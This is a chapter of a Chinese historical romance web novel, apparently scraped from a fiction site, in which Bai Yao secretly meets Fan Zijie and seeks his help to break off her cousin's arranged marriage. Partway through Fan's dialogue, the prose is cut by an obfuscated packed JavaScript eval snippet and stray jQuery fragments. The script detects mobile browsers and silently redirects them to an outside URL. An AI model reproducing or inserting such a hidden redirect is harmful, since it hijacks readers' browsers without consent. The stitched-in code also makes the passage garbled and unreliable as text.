67. 苦心孤诣柏瑶奔波

作品:《春闺散晚香

    “姑娘这话说得叫我不明白,这婚事成与不成,我一个小小的礼部观政能帮上什么忙?姑娘问到我这里岂不是白费功夫?我实在爱莫能助。”


    礼部观政?果然如此。柏瑶心里暗自点点头,至于如何找到了云平岳么……


    说来话长,那日柏越与她陈词之后,她虽只得点头应下,可夜里却翻来覆去怎么都睡不着,想着往日种种,实在不忍与柏越就此分别,车马遥遥,待柏越嫁出京城与那裴奚一道上任,天高路远,日后不说再见面,恐怕连生死之信都不得而知了。柏瑶还存着搅和这婚事的心思,可她一个手无寸铁的闺阁小姐,既无权势,又无本事,若要讨个人情,她甚少出去与达官贵人结交,平日里不过与些小姐一起玩乐,她们哪个能做得了柏大老爷的主?于是她只剩一双眼睛能哭着求恩典,然而柏越又不愿意家里头再闹起来,如此一来,叫她哪里的能耐翻了柏府的天?柏瑶煎熬了许多天,到底还是叫人偷偷与范子岕去了信儿,想着在他那里讨个主意。


    那范子岕忽地收到柏瑶来信,自然喜不自胜,待欢腾劲儿过去,方想到那日柏二老爷莫名的冷脸,他自然也多方探听着柏家的消息。自打听说柏家二房的小姐似是要与一个名不见经传的士子结亲,他慌得连饭也吃不下,只怕是柏瑶叫人做了局。又打听一阵,才知道是柏越的婚事,他知道自己无礼,仍猛地庆幸一瞬:好在不是柏瑶。接着便心口一沉——柏家并无衰落之迹,柏越又并非多情之人,这桩婚事显见是惩戒,想来是柏越与他共谋之事早已东窗事发。原以为柏家只知道自己拦驾告状之事,他如今在御前当差,没少受柏家暗地里的挤兑,只是他们不敢做得太过,于他倒也无甚大碍,此时前后一思量,便明白过来,恐怕柏越那头主动替他担了不少火气。他心中惴惴了许多时日,然而并无头绪,也只能默默盼着那姐妹俩平安无事,直到柏瑶来信要与他见上一面,他虽欣喜,却自知不受柏家待见,生怕给柏瑶添麻烦,叫她也落得个裴奚一般的婚事,便狠了狠心并未理会,不曾想柏瑶却前前后后与他来了三四封信,见他一一按下不回,最后一封里头才写到有求于他。


    两人不敢正大光明见面,各自乔装一番,范子岕又一路打点,相约在那回他送与柏瑶的一间铺子里头相见。


    兰因在外间正儿八经与掌柜问生意经,里间柏瑶范子岕两人面对面坐在茶案两侧,这一见面天也戚戚地也惶惶,两人自那次不欢而散之后再也未见,四目相对,谁也不曾开口。


    柏瑶细细瞧着范子岕,他比上回劲瘦了些,两颊微微凹陷,神色愈加冷硬,身上多了些武将的厉色,她竟有几分陌生,手指悄悄放到桌下,将身侧包裹往后推了推,她垂下眼皮不敢再看,心中一时悔一时怨,悔的是当初将话说得太绝叫他难捱,怨的是他富贵险中求的不管不顾。范子岕见此刻柏瑶就在面前,容光一如往日,比上回相见更多几分华贵气度,只是她双眼轻垂,眉头微蹙,面上显见忧虑,他心里头五味杂陈,一时喜一时悲,喜的是与心上人还有此时相见,悲的是俩人之间只怕越来越远,不知还能否有靠拢之日。


    两人静默须臾,忽同时开口。


    “你近来可好?”


    “姑娘今日来……”


    话一出口,两人皆窘迫停下,相视一眼,柏瑶便偏头错开眼神,面色终于凝上淡淡的红晕,那头范子岕也不遑多让,耳根早已红得滴血,又是一阵沉寂,屋内才响起范子岕刻意压低的声音:“我一切都好,姑娘在府里……还好吗?”


    “……也好。”柏瑶轻轻回了两个字,其实并不怎么好,只是她却不知再说些什么,她该有许多话与范子岕说,然而此刻相见却无言以对,不到一年时日,他们之间横亘了太多说不清道不明的故事。


    范子岕低了头,轻声道:“姑娘也好……便好。”


    柏瑶听他言语里似有生分,心里头仿佛针扎一般又酸又疼,恨不能立时痛骂他一番,却怎么都说不出口,只好偏过头去。这是间小小的裁缝铺子,他们坐在里间,靠墙的木头架子上摞了满满当当的布匹,靠窗的小几上摆了玉壶春瓶,里头插着几支折枝紫薇,她垂下头,茶案上还有一个缠枝纹镂空银匣子,里头应当装了降真香,香气浓郁,又沉又凉,混着屋内淡淡的布匹浆洗过后的气息,萦绕在脸侧,叫人好不自在。


    范子岕见柏瑶又不言语,心里头摸不准柏瑶的心思,自顾低头半晌,忽咬了咬牙,抬头道:“我如今在御前当差。”


    柏瑶闻言愣住,也抬头瞧向他,霎时反应过来,心中冷笑一声:她先前嫌弃他不如京中公子王孙,如今他便来夸耀一番。她索性伶牙俐齿讽道:“我知道,范大人了不得,当街拦驾告状,得了圣上青眼,如今是江南盐道人人称颂的英雄,好风光的御前行走!”


    范子岕一滞,登时明白过来柏瑶怕是早知道了他那急于求成的来路,也是,柏越为着那桩事连婚事都定了,她们姐妹俩情谊深厚,柏瑶只要多问上几遭婚事,怎么会不知道里头来龙去脉呢?他难堪地咧了咧嘴:“原来姑娘都知道了……”


    “是,我都知道了!”柏瑶忽而提高了声音,语气又急又快,“你与我那好姐姐密谋着敢翻天,你们两个人哪个曾想过我?”


    “不,我……”范子岕嗫嚅道,“我心里头都是姑娘才……”他一时停住,不再往下说。


    柏瑶轻嗤一声:“心里头都是我,知道我嫌贫爱富,所以才不要命一般去求个功名,是吗?”


    范子岕张了张嘴欲要说些什么,却看见柏瑶眼中已噙满了泪水,他顿时心里一恸,低声道:“姑娘莫要这么说自己,我知道姑娘不是这个意思。世上谁人不求名利?我求名利也只为着我自己,姑娘千万不要自责。京中繁华,我也盼着能建功立业,长居此地,越姑娘递来机缘,我岂有不握之理?如今果然如我所愿。”


    柏瑶却不为他这番话所动,泪水一颗一颗滴落下来,她阖上眼帘,索性不去看他,任泪水流淌,范子岕心中慌乱起来,身上那冷硬之气早消散了,此时急急忙忙站起来,弓腰陪小心道:“姑娘莫哭,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117514|184636||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我也是意外得喜,若没有这桩事,我一个小小的河西武将之子,哪里能当上御前的官?我当官的信递到凉州,家里头还高兴得摆了几天宴席呢!”


    柏瑶也不言语,只闭着眼任泪水往下淌,范子岕看得愈发着急,又不敢像过去那般上手替她抹了,只好从袖中取出帕子来,递到她手中:“姑娘擦擦眼泪,哭肿了眼睛,可怎么回去?”


    柏瑶这才心思回笼,睁开眼睛,也不接他的帕子,自己取出帕子拭了拭泪,默了少顷,端正了容色,心里叹口气,方伸手将身侧包裹拿了上来,解开往范子岕跟前一推,里头赫然一双千层底的绸面靴子。


    范子岕看着那靴子不敢出声,心里却一下一下爆开了花,那靴子瞧着分明是他穿的,针线模样像是柏瑶亲手做的,他从前生辰时收到过一双柏瑶亲手做的鞋,高兴得几夜没睡觉,抱着那鞋子舍不得穿,夜夜摸上几遍,仍放在被窝里乐呵,后来叫柏瑶知道他不穿,好一顿痛骂,说他浪费了她的心血,他这才别别扭扭穿上,连路都不敢多走,生怕磨坏了鞋子,如今那鞋子还被他千里迢迢背来了京城,正在他卧房里放着。他看着包裹里的靴子,只不想此生还有今日这样的造化。


    柏瑶看他一副呆了的模样,心底升起一丝喜意,面上却不显,只沉声道:“这双靴子是我亲手做的,你……拿去穿吧!”


    范子岕这才上手摸了摸那靴子,却不敢出声,生怕话说得不好惹柏瑶反悔,只细细用心抚摸,那绸子又细又滑,上头还有金丝祥云的暗纹,他心里头美得仿佛吃了蜜。


    柏瑶见他高兴,倒也踏实几分,淡淡说出来意:“我今日来,是有一桩事有求于你。”


    范子岕忙正襟危坐,抬头看向柏瑶,郑重道:“姑娘请讲。凡是我能做的,我必然去为姑娘做,若是做不了的,我也想法子给姑娘做。”


    柏瑶极浅地笑了一笑,将柏越的婚事与范子岕一说,只道裴奚这样的人,心志坚定,任劳任怨,只怕容得下广大,却容不下小爱。柏越无能为力,只想着认命,可她却想着到底还未成,还有机会将此事搅了。


    范子岕听她是为柏越婚事而来,神色凝重起来,忙将靴子的事丢到爪哇国去,虽心底明白柏瑶这要求极难,却还是低头认真道:“且容我思索一番。”


    柏瑶知道他也为难,并不催他,只默默垂头,闷着张脸绞手指,半晌,才听他絮絮道:“此事若只从你我入手,怕是难办,柏家恐怕上上下下都是唯柏大老爷马首是瞻,此事除非叫他改变主意,否则没有转圜的余地。”


    柏瑶气道:“倘或大伯父那里说得通,我也不至于急成这样!”


    范子岕忙安慰她,蹙着眉道:“他既打定了主意惩戒柏越,叫他改变主意,此事实在太难,可他上头总有能给他下令的人。”


    “上头?”


    “正是,柏大人位高权重,可自然有比他更高、更重的人,倘或婚事叫……叫圣上或是叫公主为柏越做主呢?”范子岕听说过太子侮辱柏琼那桩事,话语里略过了太子。